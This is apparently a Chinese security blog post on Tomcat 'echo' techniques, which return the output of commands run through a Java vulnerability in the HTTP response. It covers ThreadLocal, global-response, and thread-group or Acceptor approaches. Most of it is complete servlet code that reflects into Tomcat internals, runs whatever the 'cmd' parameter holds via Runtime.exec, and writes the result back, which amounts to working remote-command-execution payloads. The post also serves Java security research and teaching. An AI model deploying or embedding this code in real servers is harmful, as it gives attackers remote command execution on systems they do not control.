Java回显-Tomcat回显技术

Java安全

ThreadLocal Response回显

ThreadLocal类

ThreadLocal 类用于在多线程环境下实现线程局部变量,在 org.apache.catalina.core.ApplicationFilterChain 类中就有这么一个类型的对象,该对象是 ServletRequestServletResponse 类型的 ThreadLocal 变量

image-20231008164820758

从该变量中我们就可以获取响应内容,还需要注意的是在赋值时判断了 ApplicationDispatcher.WRAP_SAME_OBJECT 的值,该值是布尔类型,默认值为false

回显分析

我们需要对 lastServicedRequestlastServicedResponseApplicationDispatcher.WRAP_SAME_OBJECT 通过反射来修改值

try {
    Field wrapSameObjectField = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
    Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
    Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");

    Field modifiersField = Field.class.getDeclaredField("modifiers");
    modifiersField.setAccessible(true);
    modifiersField.setInt(wrapSameObjectField, wrapSameObjectField.getModifiers() & ~Modifier.FINAL);
    modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~Modifier.FINAL);
    modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~Modifier.FINAL);
    wrapSameObjectField.setAccessible(true);
    lastServicedRequestField.setAccessible(true);
    lastServicedResponseField.setAccessible(true);

    if (!wrapSameObjectField.getBoolean(null)){
        wrapSameObjectField.setBoolean(null, true);
    }
} catch (NoSuchFieldException e) {
    throw new RuntimeException(e);
} catch (ClassNotFoundException e) {
    throw new RuntimeException(e);
} catch (IllegalAccessException e) {
    throw new RuntimeException(e);
}

上面的属性我们已经修改过了,接下来我们就是要获取ServletRequest对象

ThreadLocal<ServletResponse> lastServicedResponse = (ThreadLocal<ServletResponse>) lastServicedResponseField.get(null);

需要注意的是,这里我们是获取的ThreadLocal类ServletResponse类型对象

if (lastServicedResponse == null){
    lastServicedRequestField.set(null, new ThreadLocal<>());
    lastServicedResponseField.set(null, new ThreadLocal<>());
} 

接着我们要判断lastServicedResponse是不是null值,这里我们要提到的一点是我们需要访问两次,第一次通过反射来修改值和赋值,第二次我们才真正的去执行命令并回显

如果lastServicedResponse值为null的话,那么我们就对 lastServicedRequestlastServicedResponse 字段进行赋值

第一次我们访问这个Servlet时,是不会去执行命令回显的,先通过反射修改值和赋值,而第二次访问我们再去执行命令和回显

ServletResponse servletResponse = lastServicedResponse.get();
ThreadLocal<ServletRequest> lastServicedRequest = (ThreadLocal<ServletRequest>) lastServicedRequestField.get(null);
ServletRequest servletRequest = lastServicedRequest.get();
String cmd = servletRequest.getParameter("cmd");

通过调用 lastServicedResponseget 方法我们就可以获取到ServletResponse对象,由于后面我们需要获取参数,我们也一并获取lastServicedRequest对象,再获取cmd参数,该参数就是我们需要执行的命令

if (cmd != null) {
    String res = new Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
    PrintWriter writer = servletResponse.getWriter();
    Field responseField = servletResponse.getClass().getDeclaredField("response");
    responseField.setAccessible(true);
    Response response = (Response) responseField.get(servletResponse);
    Field usingWriterField = response.getClass().getDeclaredField("usingWriter");
    usingWriterField.setAccessible(true);
    usingWriterField.set(response, Boolean.FALSE);
    writer.write(res);
    writer.flush();
    writer.close();
}

为了避免空指针问题,先判断有没有cmd参数,后面就是执行命令并获取输入流,使用 \\A 正则表达式从字符串开头开始匹配读取所有输入流,调用 next 方法读取获取的内容

通过调用 servletResponse.getWriter() 获取PrintWriter对象

image-20231011154946471

image-20231011155145028

该servletResponse对象其实是 ResponseFacade 类,通过反射获取 servletResponse 对象的 response 属性得到 Response 对象

由于调用 servletResponse.getWriter() 时会将 usingWriter 属性值设置为true,这种情况有时候会报错,有时候又正常,没有仔细分析过原因,我们通过反射来设置 usingWriter 属性值为false

最后将上面读取执行命令的内容发送到客户端文本响应

image-20231011172804789

回显实现

import org.apache.catalina.connector.Response;
import org.apache.catalina.core.ApplicationFilterChain;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
import java.util.Scanner;

@WebServlet("/response")
public class Tomcat_Echo_Response extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp)  throws ServletException, IOException{
        try {
            Field wrapSameObjectField = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
            Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
            Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");

            Field modifiersField = Field.class.getDeclaredField("modifiers");
            modifiersField.setAccessible(true);
            modifiersField.setInt(wrapSameObjectField, wrapSameObjectField.getModifiers() & ~Modifier.FINAL);
            modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~Modifier.FINAL);
            modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~Modifier.FINAL);
            wrapSameObjectField.setAccessible(true);
            lastServicedRequestField.setAccessible(true);
            lastServicedResponseField.setAccessible(true);

            // 设置值
            if (!wrapSameObjectField.getBoolean(null)){
                wrapSameObjectField.setBoolean(null, true);
            }

            ThreadLocal<ServletResponse> lastServicedResponse = (ThreadLocal<ServletResponse>) lastServicedResponseField.get(null);

            if (lastServicedResponse == null){
                lastServicedRequestField.set(null, new ThreadLocal<>());
                lastServicedResponseField.set(null, new ThreadLocal<>());
            }else{
                ServletResponse servletResponse = lastServicedResponse.get();
                ThreadLocal<ServletRequest> lastServicedRequest =
                        (ThreadLocal<ServletRequest>) lastServicedRequestField.get(null);
                ServletRequest servletRequest = lastServicedRequest.get();
                String cmd = servletRequest.getParameter("cmd");
                if (cmd != null) {
                    String res = new Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
                    PrintWriter writer = servletResponse.getWriter();
                    Field responseField = servletResponse.getClass().getDeclaredField("response");
                    responseField.setAccessible(true);
                    Response response = (Response) responseField.get(servletResponse);
                    Field usingWriterField = response.getClass().getDeclaredField("usingWriter");
                    usingWriterField.setAccessible(true);
                    usingWriterField.set(response, Boolean.FALSE);
                    writer.write(res);
                    writer.flush();
                    writer.close();
                }
            }
        } catch (NoSuchFieldException e) {
            throw new RuntimeException(e);
        } catch (ClassNotFoundException e) {
            throw new RuntimeException(e);
        } catch (IllegalAccessException e) {
            throw new RuntimeException(e);
        }
    }
}

存在的问题

ApplicationFilterChaininternalDoFilter 方法中,精简代码如下:

if (pos < n) {
    ApplicationFilterConfig filterConfig = filters[pos++];
    try {
        Filter filter = filterConfig.getFilter();
        ...
         filter.doFilter(request, response, this); // 漏洞触发点
    } catch (...)
        ...
    }
}
try {
    if (ApplicationDispatcher.WRAP_SAME_OBJECT) {
        lastServicedRequest.set(request);
        lastServicedResponse.set(response); // 回显点
    }
    if (...){
        ...
    } else {
        servlet.service(request, response);
    }
} catch (...) {
    ...
} finally {
    ...
}

根据上面的代码知道,我们上面在使用ThreadLocal Response回显时是在12行开始的,如果漏洞触发点是在第6行,我们就无法使用ThreadLocal Response回显

全局Response回显

上面的ThreadLocal Response是比较依赖Tomcat的代码处理流程的,如果漏洞是在 lastServicedRequestlastServicedResponse 对象调用 set() 方法之前的,我们就没有办法利用了

那我们现在就要改变思路,不通过反射来修改这些值,也不通过ThreadLocal Response回显方法来利用了,而去找全局能获取到的Request和Response对象

调用栈

doGet:48, Tomcat_Echo_Response
service:655, HttpServlet (javax.servlet.http)
service:764, HttpServlet (javax.servlet.http)
internalDoFilter:227, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilter:53, WsFilter (org.apache.tomcat.websocket.server)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
invoke:197, StandardWrapperValve (org.apache.catalina.core)
invoke:97, StandardContextValve (org.apache.catalina.core)
invoke:541, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:135, StandardHostValve (org.apache.catalina.core)
invoke:92, ErrorReportValve (org.apache.catalina.valves)
invoke:687, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:78, StandardEngineValve (org.apache.catalina.core)
service:360, CoyoteAdapter (org.apache.catalina.connector)
service:399, Http11Processor (org.apache.coyote.http11)
process:65, AbstractProcessorLight (org.apache.coyote)
process:890, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1789, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads)
run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:750, Thread (java.lang)

为了方便查看调用栈的调用情况,贴出上面ThreadLocal Response回显的调用栈

寻找Response

我们都知道,Tomcat处理HTTP请求的入口是在 org.apache.coyote.http11.Http11Processor 类中,该类继承了 AbstractProcessor

image-20231012161334439

在其父类 AbstractProcessor 中有 RequestResponse 属性且是final类型的,赋值了就不会改变其属性,那么我们如何获取到这两个属性呢?由于这两个属性不是静态变量,不能直接获取,我们直接去找哪里有 Http11Processor 对象即可

image-20231012162631579

AbstractProtocol 类的内部类 ConnectionHandler#process() 方法中获取了 Http11Processor 对象,在该对象里有 requestresponse 属性,随后调用 register() 方法,跟进方法看看

image-20231012163621249

image-20231012163702419

image-20231012163744742

image-20231012164215437

在该方法里获取了 Http11Processor 类对象的 reqProcessorMX 属性,该属性是 RequestInfo 类对象,后面接着调用了这个类对象的 setGlobalProcessor() 方法

image-20231012164435570

调用这个方法的参数是 global 属性,该属性是 RequestGroupInfo 类对象

image-20231012164912870

RequestInfo.setGlobalProcessor() 方法中,将该方法的参数global赋值给了 RequestInfo 类的 global 属性,又调用参数global的 addRequestProcessor() 方法,参数是 RequestInfo 类对象本身

我们只需要获取到 global 属性即可获取到 response 对象,而 globalAbstractProtocolConnectionHandler 内部类的属性,那么我们需要找到存储了 AbstractProtocol 类及其子类的对象

image-20231018105813209

在调用栈 CoyoteAdapterservice() 方法中,connector 属性为 Connector 类,该属性类对象的 protocolHandler 属性是 Http11NioProtocol 类对象,在该类对象中有一个 handler 属性是 AbstractProtocol$ConnectionHandler 类,这样我们就找到了

目前我们依次获取对象即可获取到 response 对象

connector -> protocolHandler -> handler -> AbstractProtocol$ConnectoinHandler -> global -> RequestInfo -> req -> response

获取Connector对象

那么 connector 对象我们如何获取呢?

在Tomcat服务器启动时,会将connector对象添加到 StandardService 对象中,我们来具体看下怎么添加的

代码位于 org.apache.catalina.startup.Tomcat.java

image-20231019154532702

image-20231019155306970

image-20231019155245757

这样的话,我们还需要获取到 StandardService 对象才行,向下获取链就依次如下:

StandardService -> connectors[] -> connector -> protocolHandler -> handler -> AbstractProtocol$ConnectoinHandler -> global -> RequestInfo -> req -> response

获取StandardService对象

image-20231019160833086

参考网上的文章,看这一张图,最外层是Tomcat Server服务器,网上一致给出的答案是获取当前线程的ContextClassLoader,其实就是WebAppClassLoader

image-20231019162138153

其WebAppClassLoader中有一个属性 service 就是 StandardService 对象

向下获取链如下:

WebAppClassLoader -> resources -> context -> context -> StandardService -> connectors[] -> connector -> protocolHandler -> handler -> AbstractProtocol$ConnectoinHandler -> global -> RequestInfo -> req -> response

实现全局Response回显

获取WebAppClassLoaderBase和StandardContext

不同Tomcat版本获取WebAppClassLoaderBase的resources属性方式不一样,高版本可能获取到的是null,所以需要一种通用的解决方案

org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();

这里我们获取了WebAppClassLoaderBase对象,再获取了StandardContext对象

如果调用 getResources() 方法返回的是null,说明在你使用的Tomcat高版本中已经弃用了该方法,想要获取该属性就需要通过反射来获取

WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
Field resourcesField = Class.forName("org.apache.catalina.loader.WebappClassLoaderBase").getDeclaredField("resources");
resourcesField.setAccessible(true);
WebResourceRoot resources = (WebResourceRoot) resourcesField.get(webappClassLoaderBase);
StandardContext standardContext = (StandardContext) resources.getContext();

获取ApplicationContext

Field contextField = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context");
contextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) contextField.get(standardContext);

StandardContext 对象中获取的 context 属性就是 ApplicationContext 对象

获取StandardService对象

Field serviceField = Class.forName("org.apache.catalina.core.ApplicationContext").getDeclaredField("service");
serviceField.setAccessible(true);
StandardService standardService = (StandardService) serviceField.get(applicationContext);

获取StandardService对象的connectors属性

Field connectorsField = Class.forName("org.apache.catalina.core.StandardService").getDeclaredField("connectors");
connectorsField.setAccessible(true);
Connector[] connectors = (Connector[]) connectorsField.get(standardService);

获取AbstractProtocol对象的handler属性

ProtocolHandler protocolHandler = connectors[0].getProtocolHandler();
Field handlerField = AbstractProtocol.class.getDeclaredField("handler");
handlerField.setAccessible(true);
AbstractEndpoint.Handler handler = (AbstractEndpoint.Handler) handlerField.get(protocolHandler);

这里handler属性是AbstractProtocol内部类ConnectoinHandler,这个内部类实现了AbstractEndpoint.Handler接口

获取ConnectoinHandler内部类的global属性

Field globalField = Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler").getDeclaredField("global");
globalField.setAccessible(true);
RequestInfo requestInfo = (RequestInfo) globalField.get(handler);

获取RequestGroupInfo对象的processors属性

Field processorsField = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
processorsField.setAccessible(true);
List<RequestInfo> processors = (List<RequestInfo>) processorsField.get(global);

获取RequestInfo的req属性

Field reqField = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
reqField.setAccessible(true);

获取HttpServletRequest和HttpServletResponse对象回显

for (RequestInfo requestInfo : processors){
    org.apache.coyote.Request request = (org.apache.coyote.Request) reqField.get(requestInfo);
    org.apache.catalina.connector.Request http_request = (org.apache.catalina.connector.Request) request.getNote(1);
    org.apache.catalina.connector.Response response = (org.apache.catalina.connector.Response) http_request.getResponse();
    String cmd = http_request.getParameter("cmd");
    PrintWriter writer = response.getWriter();
    InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
    Scanner scanner = new Scanner(inputStream).useDelimiter("\\A");
    String result = scanner.hasNext() ? scanner.next() : "";
    scanner.close();
    writer.write(result);
    writer.flush();
}

image-20231024153433370

image-20231024153502058

通过调用 getNote() 方法获取 org.apache.catalina.connector.Request 类对象,在该对象下有一个 response 属性,该属性是 org.apache.catalina.connector.Response 类型,而 org.apache.catalina.connector.Request 类和 org.apache.catalina.connector.Response 类都分别实现了HttpServletRequest和HttpServletResponse接口,后续我们就可以直接回显命令执行后的内容了

回显实现

import org.apache.catalina.WebResourceRoot;
import org.apache.catalina.connector.Connector;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.core.StandardService;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.coyote.AbstractProtocol;
import org.apache.coyote.ProtocolHandler;
import org.apache.coyote.RequestGroupInfo;
import org.apache.coyote.RequestInfo;
import org.apache.tomcat.util.net.AbstractEndpoint;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.util.List;
import java.util.Scanner;

@WebServlet("/response2")
public class Tomcat_Echo_Response2 extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp){
        try {
            // 获取WebAppClassLoaderBase和StandardContext
            WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
            Field resourcesField = Class.forName("org.apache.catalina.loader.WebappClassLoaderBase").getDeclaredField("resources");
            resourcesField.setAccessible(true);
            WebResourceRoot resources = (WebResourceRoot) resourcesField.get(webappClassLoaderBase);
            StandardContext standardContext = (StandardContext) resources.getContext();
            // 获取ApplicationContext
            Field contextField = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context");
            contextField.setAccessible(true);
            ApplicationContext applicationContext = (ApplicationContext) contextField.get(standardContext);
            // 获取StandardService
            Field serviceField = Class.forName("org.apache.catalina.core.ApplicationContext").getDeclaredField("service");
            serviceField.setAccessible(true);
            StandardService standardService = (StandardService) serviceField.get(applicationContext);
            // 获取StandardService的connectors属性
            Field connectorsField = Class.forName("org.apache.catalina.core.StandardService").getDeclaredField("connectors");
            connectorsField.setAccessible(true);
            Connector[] connectors = (Connector[]) connectorsField.get(standardService);
            // 获取AbstractProtocol的protocolHandler属性
            ProtocolHandler protocolHandler = connectors[0].getProtocolHandler();
            Field handlerField = AbstractProtocol.class.getDeclaredField("handler");
            handlerField.setAccessible(true);
            AbstractEndpoint.Handler handler = (AbstractEndpoint.Handler) handlerField.get(protocolHandler);
            // 获取ConnectoinHandler内部类的global属性
            Field globalField = Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler").getDeclaredField("global");
            globalField.setAccessible(true);
            RequestGroupInfo global = (RequestGroupInfo) globalField.get(handler);
            // 获取RequestGroupInfo对象的processors属性
            Field processorsField = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
            processorsField.setAccessible(true);
            List<RequestInfo> processors = (List<RequestInfo>) processorsField.get(global);
            // 获取RequestInfo对象的req属性
            Field reqField = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
            reqField.setAccessible(true);
            // 获取HttpServletRequest和HttpServletResponse对象
            for (RequestInfo requestInfo : processors){
                org.apache.coyote.Request request = (org.apache.coyote.Request) reqField.get(requestInfo);
                org.apache.catalina.connector.Request http_request = (org.apache.catalina.connector.Request) request.getNote(1);
                org.apache.catalina.connector.Response response = (org.apache.catalina.connector.Response) http_request.getResponse();
                String cmd = http_request.getParameter("cmd");
                PrintWriter writer = response.getWriter();
                InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
                Scanner scanner = new Scanner(inputStream).useDelimiter("\\A");
                String result = scanner.hasNext() ? scanner.next() : "";
                scanner.close();
                writer.write(result);
                writer.flush();
            }
        }catch (Exception e){
            e.printStackTrace();
        }
    }
}

image-20231024155058255

通用Tomcat版本回显

在上面我们提到,在高版本Tomcat中使用全局回显是会存在一些问题的,我们就需要找一种通用的方式来回显

在全局Response回显中,我们真正来获取request对象是在获取AbstractProtocol内部类ConnectoinHandler的handler属性开始

image-20231024161844058

image-20231024162006233

org.apache.tomcat.util.net.AbstractEndpoint 抽象类中有一个内部接口 Handler,该接口实现自AbstractProtocol内部类ConnectoinHandler

所以我们只需要获取到 AbstractEndpoint 抽象类对象就能获取到AbstractProtocol内部类ConnectoinHandler

AbstractEndpoint 抽象类是不能被实例化的,因此我们只能找到其子类

image-20231024162334204

这里我们选择 NioEndpoint 类,该类是Apache Tomcat中的一个关键类,它是Tomcat的 NIO(New I/O)模块的一部分,用于处理基于NIO的网络通信

这里可以从当前线程所属线程组中获取到该对象,也有两种办法

通过Poller类对象获取NioEndpoint对象

image-20231024163150616

image-20231024163223184

在当前线程所属线程组中找到一个线程的 target 属性为 NioEndpoint 类的内部类 Poller 类对象,发现该属性下面有个 this$0 属性,这个属性是 Poller 外部类的引用,也就是 NioEndpoint

那么向下获取链就如下:

Thread.currentThread().getThreadGroup() -> theads[] -> thread -> target -> NioEndpoint$Poller -> NioEndpoint -> AbstractProtocol$ConnectoinHandler -> global -> RequestInfo -> req -> response

从当前线程中获取线程组

ThreadGroup threadGroup = Thread.currentThread().getThreadGroup();
Field threadsField = threadGroup.getClass().getDeclaredField("threads");
threadsField.setAccessible(true);
Thread[] threads = (Thread[]) threadsField.get(threadGroup);

遍历线程组中的所有线程

for (Thread thread : threads){
    if (thread.getClass() == Thread.class){
        Field targetField = thread.getClass().getDeclaredField("target");
        targetField.setAccessible(true);
        Object target = targetField.get(thread);

这里对线程组进行遍历并判断了每个线程类是否是Thread类,因为在DEBUG调试时,发现我们需要用到的线程类是Thrad这里进行一个过滤,然后再获取 target 属性

获取NioEndpoint类Poller子类外部类的引用

if (target != null && target.getClass() == NioEndpoint.Poller.class){
    Field this0Field = Class.forName("org.apache.tomcat.util.net.NioEndpoint$Poller").getDeclaredField(
            "this$0");
    this0Field.setAccessible(true);
    Object this0 = this0Field.get(target);

还需要对 target 属性的类型进行判断,这里我们只要 NioEndpoint$Poller 类,后面就是获取 NioEndpoint 类的 Poller 子类的外部类的引用,也就是 NioEndpoint

获取AbstractEndpoint类中的handler属性

Field handlerField = Class.forName("org.apache.tomcat.util.net.AbstractEndpoint").getDeclaredField("handler");
handlerField.setAccessible(true);
Object handler = handlerField.get(this0);

获取AbstractEndpoint类的handler属性就是 AbstractProtocol 类的 ConnectionHandler 子类,后续的话和全局Response回显后半段一样

实现代码

import org.apache.coyote.RequestGroupInfo;
import org.apache.coyote.RequestInfo;
import org.apache.tomcat.util.net.NioEndpoint;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.util.List;
import java.util.Scanner;

@WebServlet("/response3")
public class Tomcat_Echo_Response3 extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp){
        try {
            // 从当前线程中获取线程组
            ThreadGroup threadGroup = Thread.currentThread().getThreadGroup();
            Field threadsField = threadGroup.getClass().getDeclaredField("threads");
            threadsField.setAccessible(true);
            Thread[] threads = (Thread[]) threadsField.get(threadGroup);
            // 遍历线程组中的所有线程
            for (Thread thread : threads){
                // 判断线程是否是Thread类
                if (thread.getClass() == Thread.class){
                    // 获取该线程中的target属性
                    Field targetField = thread.getClass().getDeclaredField("target");
                    targetField.setAccessible(true);
                    Object target = targetField.get(thread);
                    // 判断target属性是否是NioEndpoint类Poller子类
                    if (target != null && target.getClass() == NioEndpoint.Poller.class){
                        // 获取NioEndpoint类Poller子类外部类的引用,也就是NioEndpoint类
                        Field this0Field = Class.forName("org.apache.tomcat.util.net.NioEndpoint$Poller").getDeclaredField(
                                "this$0");
                        this0Field.setAccessible(true);
                        Object this0 = this0Field.get(target);
                        // 获取AbstractEndpoint类中的handler属性,其属性是AbstractProtocol类ConnectionHandler子类
                        Field handlerField = Class.forName("org.apache.tomcat.util.net.AbstractEndpoint").getDeclaredField("handler");
                        handlerField.setAccessible(true);
                        Object handler = handlerField.get(this0);
                        // 获取ConnectoinHandler内部类的global属性
                        Field globalField = Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler").getDeclaredField("global");
                        globalField.setAccessible(true);
                        RequestGroupInfo global = (RequestGroupInfo) globalField.get(handler);
                        // 获取RequestGroupInfo对象的processors属性
                        Field processorsField = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
                        processorsField.setAccessible(true);
                        List<RequestInfo> processors = (List<RequestInfo>) processorsField.get(global);
                        // 获取RequestInfo对象的req属性
                        Field reqField = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
                        reqField.setAccessible(true);
                        // 获取HttpServletRequest和HttpServletResponse对象
                        for (RequestInfo requestInfo : processors){
                            org.apache.coyote.Request request = (org.apache.coyote.Request) reqField.get(requestInfo);
                            org.apache.catalina.connector.Request http_request = (org.apache.catalina.connector.Request) request.getNote(1);
                            org.apache.catalina.connector.Response response = (org.apache.catalina.connector.Response) http_request.getResponse();
                            String cmd = http_request.getParameter("cmd");
                            PrintWriter writer = response.getWriter();
                            InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
                            Scanner scanner = new Scanner(inputStream).useDelimiter("\\A");
                            String result = scanner.hasNext() ? scanner.next() : "";
                            scanner.close();
                            writer.write(result);
                            writer.flush();
                        }
                    }
                }
            }
        }catch (Exception e){
            e.printStackTrace();
        }
    }
}

通过Acceptor类对象获取NioEndpoint对象

image-20231025101757035

image-20231025101835026

这个方法貌似更顺畅一些,直接就可以获取到 AbstractProtocol$ConnectionHandler

获取Acceptor类的endpoint属性

if (target != null && target.getClass() == Acceptor.class){
    Field endpointField = Class.forName("org.apache.tomcat.util.net.Acceptor").getDeclaredField("endpoint");
    endpointField.setAccessible(true);
    Object endpoint = endpointField.get(target);
    Field handlerField = Class.forName("org.apache.tomcat.util.net.AbstractEndpoint").getDeclaredField("handler");
    handlerField.setAccessible(true);
    Object handler = handlerField.get(endpoint);

这里很简单了,在 Acceptor 类中获取 endpoint 属性,之后就和 Poller 类获取 handler 属性一样了,就不过多介绍了

实现代码

import org.apache.coyote.RequestGroupInfo;
import org.apache.coyote.RequestInfo;
import org.apache.tomcat.util.net.Acceptor;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.util.List;
import java.util.Scanner;

@WebServlet("/response4")
public class Tomcat_Echo_Response4 extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp){
        try {
            // 从当前线程中获取线程组
            ThreadGroup threadGroup = Thread.currentThread().getThreadGroup();
            Field threadsField = threadGroup.getClass().getDeclaredField("threads");
            threadsField.setAccessible(true);
            Thread[] threads = (Thread[]) threadsField.get(threadGroup);
            // 遍历线程组中的所有线程
            for (Thread thread : threads){
                // 判断线程是否是Thread类
                if (thread.getClass() == Thread.class){
                    // 获取该线程中的target属性
                    Field targetField = thread.getClass().getDeclaredField("target");
                    targetField.setAccessible(true);
                    Object target = targetField.get(thread);
                    // 判断target属性是否是Acceptor子类
                    if (target != null && target.getClass() == Acceptor.class){
                        // 获取Acceptor类的endpoint属性
                        Field endpointField = Class.forName("org.apache.tomcat.util.net.Acceptor").getDeclaredField("endpoint");
                        endpointField.setAccessible(true);
                        Object endpoint = endpointField.get(target);
                        // 获取AbstractEndpoint类中的handler属性,其属性是AbstractProtocol类ConnectionHandler子类
                        Field handlerField = Class.forName("org.apache.tomcat.util.net.AbstractEndpoint").getDeclaredField("handler");
                        handlerField.setAccessible(true);
                        Object handler = handlerField.get(endpoint);
                        // 获取ConnectoinHandler内部类的global属性
                        Field globalField = Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler").getDeclaredField("global");
                        globalField.setAccessible(true);
                        RequestGroupInfo global = (RequestGroupInfo) globalField.get(handler);
                        // 获取RequestGroupInfo对象的processors属性
                        Field processorsField = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
                        processorsField.setAccessible(true);
                        List<RequestInfo> processors = (List<RequestInfo>) processorsField.get(global);
                        // 获取RequestInfo对象的req属性
                        Field reqField = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
                        reqField.setAccessible(true);
                        // 获取HttpServletRequest和HttpServletResponse对象
                        for (RequestInfo requestInfo : processors){
                            org.apache.coyote.Request request = (org.apache.coyote.Request) reqField.get(requestInfo);
                            org.apache.catalina.connector.Request http_request = (org.apache.catalina.connector.Request) request.getNote(1);
                            org.apache.catalina.connector.Response response = (org.apache.catalina.connector.Response) http_request.getResponse();
                            String cmd = http_request.getParameter("cmd");
                            PrintWriter writer = response.getWriter();
                            InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
                            Scanner scanner = new Scanner(inputStream).useDelimiter("\\A");
                            String result = scanner.hasNext() ? scanner.next() : "";
                            scanner.close();
                            writer.write(result);
                            writer.flush();
                        }
                    }
                }
            }
        }catch (Exception e){
            e.printStackTrace();
        }
    }
}

HTTP数据包过长

在某些大佬的博客中提到了使用通用Tomcat回显方法可能会导致性能问题,设置HTTP请求包头最大的大小来解决该问题

Field maxHttpHeaderSizeField = Class.forName("org.apache.coyote.http11.AbstractHttp11Protocol").getDeclaredField("maxHttpHeaderSize");
maxHttpHeaderSizeField.setAccessible(true);
maxHttpHeaderSizeField.set(null, 1024 * 1024);

Author: wileysec

Permalink: https://wileysec.github.io/a22ba09b7177.html

Comments